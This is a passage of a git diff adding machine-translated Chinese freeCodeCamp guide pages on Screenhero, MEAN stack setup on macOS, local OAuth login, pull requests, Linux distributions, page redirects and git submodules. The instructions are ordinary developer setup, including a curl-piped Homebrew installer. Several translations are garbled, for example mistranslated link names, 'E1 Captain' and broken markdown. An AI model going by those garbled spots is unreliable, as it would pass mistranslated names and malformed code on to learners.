+[下载适用于Mac](http://links.screenhero.com/e/c/eyJlbWFpbF9pZCI6Ik1qQTNNem9XQkNJQ1pBQUNjd0FYQVZrVEdnRkxNamtfX0JWZEdGVEpSZkVCWlRwbFpXRTBNamM0WVMxaE56SmlMVEV4WlRRdE9HUXpZUzFpWXpVNE1HRTJNalkxTldNNk1UUTJNVEEyQUE9PSIsInBvc2l0aW9uIjowLCJocmVmIjoiaHR0cDovL2RsLnNjcmVlbmhlcm8uY29tL3NtYXJ0ZG93bmxvYWQvZklYQU1UUUJBTEtQQkhQTC9TY3JlZW5oZXJvLnppcD9zb3VyY2U9d2ViIn0=)
+
+[下载适用于Windows](http://links.screenhero.com/e/c/eyJlbWFpbF9pZCI6Ik1qQTNNem9XQkNJQ1pBQUNjd0FYQVZrVEdnRkxNamtfX0JWZEdGVEpSZkVCWlRwbFpXRTBNamM0WVMxaE56SmlMVEV4WlRRdE9HUXpZUzFpWXpVNE1HRTJNalkxTldNNk1UUTJNVEEyQUE9PSIsInBvc2l0aW9uIjoxLCJocmVmIjoiaHR0cDovL2RsLnNjcmVlbmhlcm8uY29tL3NtYXJ0ZG93bmxvYWQvZklYQU1UUUJBTEtQQkhQTC9TY3JlZW5oZXJvLXNldHVwLmV4ZSJ9)
+
+您可以使用Screen Hero将您在Free Code Camp的聊天室和论坛上与朋友配对。
+
+请注意，您应该在安装后从应用程序中创建Screen Hero帐户。否则，如果您尝试在Screen Hero的网站上创建一个帐户，他们将不会在没有邀请的情况下让您。
+
+## 替代软件
+
+以下是我们的同伴露营者建议的Screenhero的其他替代方案：
+
+*   [TeamViewer](https://www.teamviewer.com) （也适用于Linux）
+*   [Skype](https://www.skype.com) + [ScreenLeap](https://www.screenleap.com/)
+*   [Codeshare.io](https://codeshare.io/)
+*   [Kobra.io](https://kobra.io/)
+*   [Google环聊](https://hangouts.google.com/)
+*   [Jsbin](https://jsbin.com/)
+*   [的jsfiddle](https://jsfiddle.net/)
+*   [云9](https://c9.io)
+*   [出现在](https://appear.in)
+*   [Floobits](https://floobits.com/)
+*   [tmate](https://tmate.io) +一个通讯工具，例如[Google Hangouts](https://hangouts.google.com/) ， [Skype](https://www.skype.com) ， [now.in](https://appear.in)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-install-the-mean-stack-on-mac-osx/index.md b/client/src/guide/chinese/miscellaneous/how-to-install-the-mean-stack-on-mac-osx/index.md
new file mode 100644
index 0000000000..4d3d54a8c7
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-install-the-mean-stack-on-mac-osx/index.md
@@ -0,0 +1,117 @@
+---
+title: How to Install the Mean Stack on Mac Osx
+localeTitle: 如何在Mac Osx上安装Mean Stack
+---
+要安装MongoDB，您应该安装Mac OS X 10.6（Snow Leopard）或更高版本。要找出您拥有的OS X版本，请单击屏幕左上角的图标，然后选择“ `About This Mac` 。
+
+![:warning:](//forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=2 "：警告：") **警告：**在执行以下任何步骤之前，请执行Time Machine备份！
+
+## 第1步：安装MongoDB
+
+在OS X上安装MongoDB的最简单方法是使用[HomeBrew](http://brew.sh/) 。如果您之前没有使用过HomeBrew，只需在终端窗口中执行以下命令：
+```
+ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 
+```
+
+成功安装HomeBrew后，请使用以下命令：
+```
+brew update && brew install mongodb 
+```
+
+HomeBrew将自动为您安装所有依赖项。
+
+## 第2步：安装Node.js.
+
+再一次，我们会让HomeBrew做繁重的工作：
+```
+brew install node 
+```
+
+npm可执行文件已包含在Node.js包中。
+
+在继续之前，让我们确保其他人可以找到Node.js模块（ ![:warning:](//forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=2 "：警告：") **注意** ：最好复制并粘贴这些命令，因为如果键入`>`代替`>>` ，则会丢失`.bashrc`文件的原始内容：
+```
+echo 'export NODE_PATH="./node_modules:/usr/local/lib/node_modules"' >> ~/.bashrc && source ~/.bashrc 
+```
+
+要检查配置是否有效，请执行：
+```
+echo $NODE_PATH 
+```
+
+您应该在命令下面看到`./node_modules:/usr/local/lib/node_modules` 。
+
+如果使用与Bash不同的shell，只需将`~/.bashrc`替换为shell配置文件即可。
+
+## 第3步：安装fullstack工具
+```
+npm install -g express yo grunt grunt-cli generator-angular-fullstack bower 
+```
+
+## 第4步：生成一个fullstack应用程序
+
+为您的后端项目项目创建一个目录。假设您的桌面是您事实上的工作区：
+```
+mkdir ~/Desktop/Back End Projects && cd ~/Desktop/Back End Projects 
+```
+
+现在所有准备工作都已到位，现在是主赛事的时候了：
+```
+yo angular-fullstack 
+```
+
+根据[挑战的](http://www.freecodecamp.com/challenges/get-set-for-our-back-end-development-projects)核对表项目＃13-23回答问题[：为后端项目设置](http://www.freecodecamp.com/challenges/get-set-for-our-back-end-development-projects) 。如果您遇到错误，请咨询＃24-27 。这将下载约350MB的文件到您当前的目录中。
+
+在继续之前，我们需要在一些生成的文件中修复[已知问题](https://github.com/clnhll/guidetobasejumps#fixing-exportsupdate) ：
+```
+echo "sed -i '' -e 's/_.merge/_.extend/' server/api/*/*.controller.js" > \ 
+ fix-exports-update.sh && chmod +x fix-exports-update.sh && \ 
+ ./fix-exports-update.sh 
+```
+
+每次生成新的API端点时都需要运行`./fix-exports-update.sh` （直到他们修复此上游，即）。
+
+## 第5步：初始化本地Git存储库
+
+告诉Git不要跟踪你的数据库：
+```
+echo "data" >> .gitignore 
+```
+
+通过运行以下命令，将应用程序所在的目录转换为Git存储库：
+```
+git init && git add . && git commit -am 'initial commit' 
+```
+
+## 第6步：启动MongoDB
+
+要在应用程序目录中首次启动MongoDB，请在终端中运行以下命令：
+```
+mkdir data && echo 'mongod --config /usr/local/etc/mongod.conf --dbpath=data --rest "$@" --httpinterface' > mongod.sh && chmod a+x mongod.sh && ./mongod.sh 
+```
+
+从这一点开始，您可以通过执行`./mongod.sh`来启动MongoDB。有几点需要注意：
+
+*   `.conf`文件指示`mongod`将消息写入日志文件而不是stdout。要查看日志，请在单独的“终端”选项卡中运行以下命令： `less /usr/local/var/log/mongodb/mongo.log` 。
+*   由于我们不在Cloud9上，因此我们不需要`--nojournal`选项。日记功能允许您在`mongod`崩溃的情况下恢复数据库。
+*   您必须为每个项目创建一个干净的数据库。如果从早期项目复制`data`目录，则`mongod`将无法启动。如果是这种情况，只需`rm -rf data && mkdir data && ./mongod.sh` 。
+
+## 第7步：启动Grunt
+
+按`⌘T`打开一个新的终端选项卡，然后运行以下命令：
+```
+grunt serve 
+```
+
+Grunt应在启动完成后自动打开新的Angular站点的索引页面。
+
+现在，您应该能够按照其余的挑战说明推送到GitHub和Heroku。只需忽略有关SSH密钥的部分（＃33-36），并将`~/workspace`替换为您的app目录的路径。
+
+## 脚注
+
+以下步骤在以下配置下进行测试：
+
+*   OS X 10.10.5
+*   zsh 5.0.8（x86\_64-apple-darwin14.3.0）
+*   节点v0.12.7
+*   npm 2.11.3
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-know-who-is-in-charge-of-your-campsite-on-facebook/index.md b/client/src/guide/chinese/miscellaneous/how-to-know-who-is-in-charge-of-your-campsite-on-facebook/index.md
new file mode 100644
index 0000000000..1c4f4fceb4
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-know-who-is-in-charge-of-your-campsite-on-facebook/index.md
@@ -0,0 +1,21 @@
+---
+title: How to Know Who Is in Charge of Your Campsite on Facebook
+localeTitle: 如何知道谁在Facebook上负责您的营地
+---
+当地社区不断变化，您所在的城市可以有多个志愿者社区经理。要成为Facebook群组中的管理员，请按照以下步骤操作。
+
+如何找出谁是您本地组的管理员：
+
+*   首先，单击封面照片下方的“成员”选项卡。然后点击下拉框中的“所有成员”\*\*
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cc32710a88436219ac4a02a31e57de577830082b.png)
+
+*   接下来，使用下拉框选择“管理员”\*\*
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/c/ca28d984d4ec86bb9fb40326da1c9bb1151ab77c.png)
+
+*   您现在应该能够看到谁被指定为本地组的管理员。
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/9/946354dab087e439a810937de4332ad5e231ccf2.png)
+
+给这个人留言自我介绍，让他们知道你有兴趣成为一名管理员。在此之后，计划您的第一次聚会。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-log-in-to-your-local-instance-of-free-code-camp/index.md b/client/src/guide/chinese/miscellaneous/how-to-log-in-to-your-local-instance-of-free-code-camp/index.md
new file mode 100644
index 0000000000..7eb9411ee5
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-log-in-to-your-local-instance-of-free-code-camp/index.md
@@ -0,0 +1,63 @@
+---
+title: How to Log in to Your Local Instance of Free Code Camp
+localeTitle: 如何登录您的免费代码营的本地实例
+---
+本指南将帮助您使用GitHub帐户登录本地FCC网站。使用其他社交媒体帐户登录时，此过程应类似。本指南假设您已经启动并运行了FCC的本地副本。
+
+## TL; DR
+
+1.  [注册新的OAuth应用程序](https://github.com/settings/developers)
+2.  主页字段： `http://localhost:3000/`
+3.  回调字段： `http://localhost:3000/auth/github/callback`
+4.  将客户端ID和客户端密钥复制/粘贴到`.env`文件中
+5.  查看当地的FCC网站时，请使用端口3000
+
+免费代码营问题Mods和工作人员随时为我们的[帮助贡献者聊天室提供](https://gitter.im/FreeCodeCamp/HelpContributors)有关Pull Request相关问题的[帮助](https://gitter.im/FreeCodeCamp/HelpContributors)
+
+## 放弃
+
+运行`$ gulp`的输出提到**访问端口**是3001.我只使用GitHub在端口3000 - **代理端口**成功登录。如果您了解如何使用其他端口登录，请考虑在此Wiki上提交拉取请求。
+
+## 使用您的GitHub帐户登录
+
+1.  [注册新的OAuth应用程序](https://github.com/settings/developers) ，然后单击**注册新应用程序**
+
+_或者_ ，单击您的**个人资料图片** => **设置** => **应用程序** => **开发人员应用程序** => **注册新应用程序**
+
+![注册GitHub OAuth App](//discourse-user-assets.s3.amazonaws.com/original/2X/5/55f4645c3498ceb8098afe8e8353da8f7c262548.png)
+
+1.  填写OAuth应用程序字段
+    
+    *   **应用程序名称** - 选择任何名称，例如`fcc-local`
+        
+    *   **主页URL** - 设置为`http://localhost:3000/`
+        
+    *   **应用说明** - 可选
+        
+    *   **授权回调URL** - 设置为`http://localhost:3000/auth/github/callback`
+        
+2.  单击**注册应用程序**以查看新注册的应用程序页面以及您的客户端ID和客户端密钥。
+    
+
+![客户端ID和客户端密钥](//discourse-user-assets.s3.amazonaws.com/original/2X/c/c43ee37a9f0f228d3663bb28accedc14cca3ff56.png)
+
+1.  将您的客户端ID和客户端密钥复制并粘贴到`.env`文件中。
+
+_注意：您的客户端ID和客户端密钥将是长字母数字值。_
+
+![更新.env文件](//discourse-user-assets.s3.amazonaws.com/original/2X/5/549aeaa6ea85e119ba5e978c708dc55c39b134b3.png)
+
+## 提示
+
+1.  删除/取消设置注释阻止[护照提供](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/server/passport-providers.js)者中不需要的提供[者](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/server/passport-providers.js) 。
+    
+2.  如果在express-session和cookieParser上出现错误，请在`.env`添加SESSION _SECRET和COOKIE_ SECRET。
+    
+    `COOKIE_SECRET='secret' SESSION_SECRET='secret'`
+    
+3.  如果您没有遇到挑战，请在运行`gulp`之前运行命令`node seed` 。
+    
+
+## 成品
+
+恭喜！您现在可以使用GitHub帐户成功登录到本地FCC网站。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md b/client/src/guide/chinese/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md
new file mode 100644
index 0000000000..00e7bd6173
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Make a Modal Box with CSS and JavaScript
+localeTitle: 如何使用CSS和JavaScript制作模态框
+---
+## 如何使用CSS和JavaScript制作模态框
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-make-a-pull-request-on-free-code-camp/index.md b/client/src/guide/chinese/miscellaneous/how-to-make-a-pull-request-on-free-code-camp/index.md
new file mode 100644
index 0000000000..c255eaf67c
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-make-a-pull-request-on-free-code-camp/index.md
@@ -0,0 +1,85 @@
+---
+title: How to Make a Pull Request on Free Code Camp
+localeTitle: 如何在免费代码营中提出拉取请求
+---
+# 免费代码营拉请求
+
+**什么是拉动请求？**
+
+拉取请求（PR）是一种提交免费代码营回购（或任何回购，就此而言）的建议更改的方法。您将在个人分支中更改组成免费代码营的文件副本，然后申请由Free Code Camp接受。
+
+## 需要帮忙？
+
+免费代码营问题Mods和工作人员随时为我们的[帮助贡献者聊天室提供](https://gitter.im/FreeCodeCamp/Contributors)有关Pull Request相关问题的[帮助。](https://gitter.im/FreeCodeCamp/Contributors)
+
+## 方法
+
+有两种创建Pull for Free Code Camp的方法：
+
+1.  通过GitHub界面编辑文件
+2.  编辑本地克隆上的文件
+
+## 重要提示：始终在分支机构上进行编辑
+
+从本文档中只拿走一件事，它应该是这样的：从不，永远编辑`staging`分支。在编辑文件之前，总是建立一个新的分支。这很关键，因为如果您的PR不被接受，您的`staging`副本将永远被玷污，解决它的唯一方法是删除您的分叉并重新分叉。
+
+## 通过Local Fork进行编辑（推荐）
+
+这是推荐的方法。阅读有关[如何设置和维护免费代码阵营的本地实例的信息](http://forum.freecodecamp.com/t/how-to-fork-and-maintain-a-local-instance-of-free-code-camp/19116) 。
+
+1.  执行重新定位`staging`的维护步骤
+2.  使用`git status`确保您在`staging`分支上：
+
+\`  
+$ git状态  
+在分支分期  
+您的分支机构与“origin / staging”保持同步。
+
+无需提交，工作目录清理  
+\`
+
+1.  如果您没有登台或工作目录不干净，请解决所有未完成的文件/提交和结帐分段`git checkout staging`
+2.  使用git创建一个`staging`的分支： `git checkout -B branch/name-here`注意：分支命名很重要。使用诸如`fix/short-fix-description`或`feature/short-feature-description`查看[贡献指南](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md)以获取更多详细信息。
+3.  使用您选择的编辑器在本地编辑您的文件
+4.  检查您的`git status`以查看未分级的文件。
+5.  添加您编辑的文件： `git add path/to/filename.ext`您还可以执行： `git add .`添加所有未暂存的文件。但请注意，因为您可以意外添加不想添加的文件。首先检查你的`git status` 。
+6.  提交您的编辑： `git commit -m "Brief Description of Commit"`
+7.  如果有多个[提交](http://forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231) ， [请对您的提交进行压缩](http://forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231) 。
+8.  将你的提交推送到你的GitHub Fork： `git push -u origin branch/name-here`
+9.  转到共同步骤
+
+## 通过GitHub界面进行编辑
+
+**注意：**不建议通过GitHub接口进行编辑，因为在不删除和重新创建分支的情况下，无法通过GitHub的界面更新分支。
+
+1.  创建FCC Repo的分支
+2.  在fork中[创建一个分支](https://help.github.com/articles/creating-and-deleting-branches-within-your-repository/) 。注意：分支命名很重要。使用诸如`fix/short-fix-description`或`feature/short-feature-description`查看[贡献指南](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md)以获取更多详细信息。
+3.  编辑文件并提交更改。
+4.  继续共同步骤。
+
+## 共同步骤
+
+1.  提交编辑后，系统将提示您在fork的Github页面上创建拉取请求。
+2.  默认情况下，所有拉取请求都应该针对FCC主仓库， `staging`分支。
+3.  为你的公关制定一个明确的标题，简明扼要地指出正在修复的内容。不要在标题中添加问题编号。示例： `Add Test Cases to Algorithm Drop It` `Correct typo in Challenge Size Your Images`
+4.  在PR的正文中包含更详细的摘要，包括您所做的更改以及原因。
+5.  表明您是否在本地网站副本上进行了测试。
+6.  如果您的PR出现问题，您可以通过添加关键字如`Closes #xxxx`自动[引用和关闭该问题](https://help.github.com/articles/closing-issues-via-commit-messages/) ，其中`xxxx`是问题编号。
+
+## 下一步
+
+### 如果要求更改
+
+不用担心，许多PR，特别是第一个PR，需要更正或更新。如果您已使用GitHub界面创建PR，则需要关闭PR，创建新分支并重新提交。这是因为你不能通过GitHub界面压缩你的提交。
+
+如果你有一个repo的本地副本，你可以进行所请求的更改并修改你的提交： `git commit --amend`这将更新你现有的提交。当你将它推到你的分支时，你需要强制推送来覆盖你的旧提交： `git push --force`
+
+务必在PR对话中发布您已进行所请求更改的内容。
+
+### 如果您的公关被接受
+
+接受PR后，您可以删除您创建的分支以提交它。这样可以保持工作叉的清洁。只需按一下GitHub PR界面上的按钮即可完成此操作。您可以使用以下命令删除分支的本地副本： `git branch -D branch/to-delete-name`
+
+### 如果您的公关被拒绝
+
+不要绝望！您应该从问题主持人那里收到有关其被拒绝的原因以及所需内容的可靠反馈。请继续贡献。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-pick-a-linux-distribution-and-install/index.md b/client/src/guide/chinese/miscellaneous/how-to-pick-a-linux-distribution-and-install/index.md
new file mode 100644
index 0000000000..03de84a090
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-pick-a-linux-distribution-and-install/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Pick a Linux Distribution and Install
+localeTitle: 如何选择Linux发行版并安装
+---
+虽然大多数供应商提供了一个随着时间的推移获得增量更新和新版本的操作系统（例如Windows，Mac OSX，Solaris），但Linux有不同供应商创建的数百种不同版本可供选择。这部分是因为Linux是免费分发的代码，可以根据特定用户的需求进行定制。虽然[Linux内核](https://en.wikipedia.org/wiki/Linux_kernel)通常保持不变（操作系统处理任务的核心功能，如网络管理，磁盘使用，内存利用率，I / O等），但Linux的许多不同版本的部分不同，例如它使用的GUI（即[Gnome](https://www.gnome.org/) ， [KDE](https://www.kde.org/) ， [XFCE](http://www.xfce.org/)或根本没有），系统工具，环境，包管理器和提供的应用程序。这个独特的软件集合以及内核定义了我们所谓的[Linux](https://en.wikipedia.org/wiki/Linux_distribution)发行版（简称发行版）。
+
+关于选择哪种分发的意见因用户而异，但最好选择具有无缝安装过程并定期更新漏洞和错误修复的分发。流行的主流Linux发行版如[Ubuntu](http://www.ubuntu.com/) ， [Mint](https://www.linuxmint.com/)和[Fedora](https://getfedora.org/)都涵盖了这一点。这些都有很大的支持和大量可用软件免费使用。另一个要考虑的项目是语言支持，一些发行版在特定语言中比其他发行版具有更好的支持。例如， [OpenSUSE](https://en.opensuse.org/Main_Page)对德语有很强的支持， [Ubuntu Kylin](http://www.ubuntu.com/desktop/ubuntu-kylin)是[Ubuntu](http://www.ubuntu.com/desktop/ubuntu-kylin)的颠覆，更适合使用简体中文的中国用户。检查[DistroWatch](http://distrowatch.com/search.php)以搜索其他语言的支持。
+
+大多数Linux版本都具有允许用户在将其分发到磁盘之前测试分发的功能，即所谓的[Live CD](https://en.wikipedia.org/wiki/Live_CD)或[实时USB](http://www.linuxliveusb.com/) 。用户可以将较小版本的发行版刻录到CD / DVD或USB驱动器上并从中启动。它将保留用户当前的操作系统，但他们可以自由地试验用户界面和一些应用程序。大多数发行版将提供一种首先使用实时媒体进行测试的方法，稍后在使用实时媒体时，可以选择将操作系统永久安装到磁盘上。
+
+对于希望保留当前操作系统或不希望进行完全转换的用户，另一种选择是创建虚拟化环境并使用[VirtualBox](https://www.virtualbox.org/wiki/Downloads)等工具在其中安装Linux。用户可以运行其当前的操作系统，并在其中运行带有Linux发行版的VirtualBox窗口。对于想要继续运行Windows或OSX但仍然可以访问Linux环境的人来说，这将是一个理想的情况。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-post-code-using-markdown/index.md b/client/src/guide/chinese/miscellaneous/how-to-post-code-using-markdown/index.md
new file mode 100644
index 0000000000..9b1c6cb993
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-post-code-using-markdown/index.md
@@ -0,0 +1,7 @@
+---
+title: How to Post Code Using Markdown
+localeTitle: 如何使用Markdown发布代码
+---
+使用反引号\`
+
+![发帖](//discourse-user-assets.s3.amazonaws.com/original/2X/d/dfbf7e498cc825f0c6f35cf850d512f6c5a5f5b6.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-reach-free-code-camp-team-for-interviews/index.md b/client/src/guide/chinese/miscellaneous/how-to-reach-free-code-camp-team-for-interviews/index.md
new file mode 100644
index 0000000000..61dc26a917
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-reach-free-code-camp-team-for-interviews/index.md
@@ -0,0 +1,12 @@
+---
+title: How to Reach Free Code Camp Team for Interviews
+localeTitle: 如何联系免费代码营团队进行访谈
+---
+我们很高兴为您的出版物或节目进行快速访谈。以下是您应该联系的人员，以及如何最好地联系他们：
+
+*   想谈谈免费代码营的课程或长期愿景吗？联系Quincy Larson。他是[Twitter上](https://twitter.com/ossia)的[@ossia](https://twitter.com/ossia)和Gitter [上的](https://twitter.com/ossia) [@quincylarson](/users/quincylarson) 。
+*   想要谈谈Free Code Camp的开源代码库，基础设施或JavaScript吗？和Berkeley Martinez交谈。他是[Twitter上](https://twitter.com/berkeleytrue)的[@berkeleytrue](https://twitter.com/berkeleytrue)和Gitter [上的](https://twitter.com/berkeleytrue) [@berkeleytrue](/users/berkeleytrue) 。
+*   想要探索我们通过代码赋予公益组织权力的努力吗？迈克尔·D·约翰逊吃，睡觉，呼吸。他是[Twitter上](https://twitter.com/codenonprofit)的[@codenonprofit](https://twitter.com/codenonprofit)和Gitter [上的](https://twitter.com/codenonprofit) [@codenonprofit](/users/codenonprofit) 。
+*   想要了解露营者对社区的看法吗？与Bianca Mihai交谈。她是[Twitter上](https://twitter.com/bubuslubu)的[@bubuslubu](https://twitter.com/bubuslubu)和Gitter的[@biancamihai](/users/biancamihai) 。或者你可以和Suzanne Atkinson谈谈。她是[Twitter上](https://twitter.com/SteelCityCoach)的[@steelcitycoach](https://twitter.com/SteelCityCoach)和Gitter [上的](https://twitter.com/SteelCityCoach) [@adventurebear](/users/adventurebear) 。
+
+我们努力在我们所做的每件事情中提供帮助和透明。我们会尽我们所能帮助您与受众分享我们的社区。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-redirect-a-web-page/index.md b/client/src/guide/chinese/miscellaneous/how-to-redirect-a-web-page/index.md
new file mode 100644
index 0000000000..cd07dbc428
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-redirect-a-web-page/index.md
@@ -0,0 +1,29 @@
+---
+title: How to Redirect a Web Page
+localeTitle: 如何重定向网页
+---
+## 如何重定向网页
+
+要将您的网站访问者重定向到新页面，请在头部添加一行，如下所示： \`\`\`HTML
+```
+  <script type="text/javascript"> 
+     <!-- 
+        function Redirect() { 
+           window.location="http://www.tutorialspoint.com"; 
+        } 
+     //--> 
+  </script> 
+```
+
+单击以下按钮，您将被重定向到主页。
+```
+  <form> 
+     <input type="button" value="Redirect Me" onclick="Redirect();" /> 
+  </form> 
+```
+
+```
+There is another option if you just want to change the page as soon as they reach that page: 
+```
+
+JavaScript的 window.location.assign（ “HTTPS：//www.yournewwebsite.fakewebsite”）; \`\`\` 用您的网站替换网站。一个应该进入JavaScript文件。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-remove-a-submodule-in-git/index.md b/client/src/guide/chinese/miscellaneous/how-to-remove-a-submodule-in-git/index.md
new file mode 100644
index 0000000000..5c984f90ad
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-remove-a-submodule-in-git/index.md
@@ -0,0 +1,20 @@
+---
+title: How to Remove a Submodule in Git
+localeTitle: 如何删除Git中的子模块
+---
+在不再需要子模块时，删除子模块非常有用。以下步骤概述了子模块的删除。
+
+## 删除子模块
+
+*   从`.gitmodules`文件中删除引用子模块的部分
+*   通过`git add .gitmodules`进行更改
+*   从`.git/config`删除子模块的相关部分。
+*   运行`git rm --cached path_to_submodule` （没有尾部斜杠）
+*   运行`rm -rf .git/modules/path_to_submodule`
+*   使用\`git commit -m“删除子模块”提交更改“
+*   删除现在未跟踪的子模块文件`rm -rf path_to_submodule`
+
+## 来源
+
+*   [Stackoverflow - 如何删除子模块](http://stackoverflow.com/questions/1260748/how-do-i-remove-a-submodule)
+*   [git.wiki.kernel.org - 删除Git子模块](https://git.wiki.kernel.org/index.php/GitSubmoduleTutorial#Removal)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-report-a-bug/index.md b/client/src/guide/chinese/miscellaneous/how-to-report-a-bug/index.md
new file mode 100644
index 0000000000..c1ee032640
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-report-a-bug/index.md
@@ -0,0 +1,27 @@
+---
+title: How to Report a Bug
+localeTitle: 如何举报错误
+---
+感谢您努力报告freeCodeCamp的问题。
+
+如果您认为您在freeCodeCamp上发现了错误，请按照以下步骤解决您的问题：
+
+1.  尝试使用页面上的重置按钮重置编辑器中的代码。如果以某种方式改变了一些代码，这将解决大多数问题，这会以某种方式影响挑战。重置会将代码清除为原始状态，就像首次向您展示质​​询一样。
+    
+2.  如果页面以任何方式破坏，请尝试对页面进行[硬刷新](http://forum.freecodecamp.com/t/refresh-your-browser-cache/19365) 。这将更新可能已在浏览器中缓存的任何旧代码。
+    
+    *   如果您的代码崩溃了浏览器，请尝试[清除浏览器的本地存储](http://forum.freecodecamp.com/t/removing-all-locally-stored-challenges/19129) 。
+3.  [请求帮助聊天室](http://forum.freecodecamp.com/t/how-to-get-help-on-gitter/19130) 。您通常可以从那里有用的社区成员快速回复。
+    
+4.  [在论坛上寻求帮助](http://forum.freecodecamp.com/) 。有时您可能会发现您的查询没有立即在聊天中解决，或者可能需要讨论。在这种情况下，请务必在此论坛中搜索您的问题，如果找不到满意的答案，请在此处查询。
+    
+5.  如果您的问题困扰了聊天室和论坛中的每个人，请尝试[在GitHub上搜索您](http://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390)发布类似问题的任何人的问题。如果有人，你可以通过点击（ ![:thumbsup:](https://forum.freecodecamp.com/images/emoji/emoji_one/thumbsup.png?v=3 "：竖起大拇指：") ）发布帖子中的开头帖子（第一篇文章）上的图标。
+    
+6.  如果您在GitHub上找不到任何相关问题，那么[创建一个新问题](http://forum.freecodecamp.com/t/creating-a-new-github-issue/18392) ，我们的开发团队将会查看您的问题。
+    
+
+**移动设备：**  
+某些挑战可能无法在移动设备（移动浏览器）上运行，我们会尽力支持它们，但我们建议您在确认为错误之前尝试在桌面浏览器上检查挑战。
+
+**重要：**  
+在您报告新问题之前，请始终在聊天室或论坛中向某人发送第三方确认。请记住，问题跟踪器严格用于报告错误或增强功能，它不是寻求解决问题的任何帮助的地方。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-run-apache-server-on-a-mac-os-x-e1-captain/index.md b/client/src/guide/chinese/miscellaneous/how-to-run-apache-server-on-a-mac-os-x-e1-captain/index.md
new file mode 100644
index 0000000000..c081228a6e
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-run-apache-server-on-a-mac-os-x-e1-captain/index.md
@@ -0,0 +1,21 @@
+---
+title: How to Run Apache Server on a Mac Os X E1 Captain
+localeTitle: 如何在Mac Os X E1 Captain上运行Apache服务器
+---
+[Apache](http://www.apache.org/)服务器预先在Mac OS X上构建，无需安装第三方工具WAMP，LAMP，MAMP和XAMPP即可在Mac上运行Apache服务器。
+
+当您考虑在Mac OS X E1 Captain / OS X Yosemite上运行[Apache](http://www.apache.org/)服务器时，它与早期版本有很大不同。在这里，您应该从终端窗口，早期的GUI选项中进行勾选，因为系统控制窗口中的Web服务器已经启动。
+
+在终端窗口输入：
+```
+httpd -v 
+```
+
+它提供服务器版本和构建日期。
+
+这里http代表超文本传输​​协议d代表Daemon，这是一个使用多任务的软件程序，也用于Mac OS X. `httpd`是Apache超文本传输​​协议（HTTP）服务器程序。它旨在作为独立的守护程序进程运行。类型
+```
+sudo apachectl start 
+```
+
+在您的终端窗口上，然后转到您的浏览器并键入`http://localhost` ， `It works!`在您的浏览器上。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-run-google-app-engine-in-fedora-using-python/index.md b/client/src/guide/chinese/miscellaneous/how-to-run-google-app-engine-in-fedora-using-python/index.md
new file mode 100644
index 0000000000..1454b2f50f
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-run-google-app-engine-in-fedora-using-python/index.md
@@ -0,0 +1,24 @@
+---
+title: How to Run Google App Engine in Fedora Using Python
+localeTitle: 如何使用Python在Fedora中运行Google App Engine
+---
+本文介绍了使用python在Fedora操作系统上安装Google App Engine的分步指南。
+
+*   按照[Google的](https://cloud.google.com/appengine/docs/python/#uploading_the_application)此文档中的步骤操作[。](https://cloud.google.com/appengine/docs/python/#uploading_the_application)
+
+如上文所述，测试应用程序可能对许多人不起作用。
+
+因此，尝试[这种](http://stackoverflow.com/a/16970921)由柯霖给出。
+
+另外，请遵循Brice Lin提供的部署策略。要做到这一点，打开另一个终端（如果你愿意）。
+
+*   在部署之前，您必须在Google Cloud Platform中创建项目。按照[上传应用程序中](https://cloud.google.com/appengine/docs/python/#uploading_the_application)的步骤操作
+    
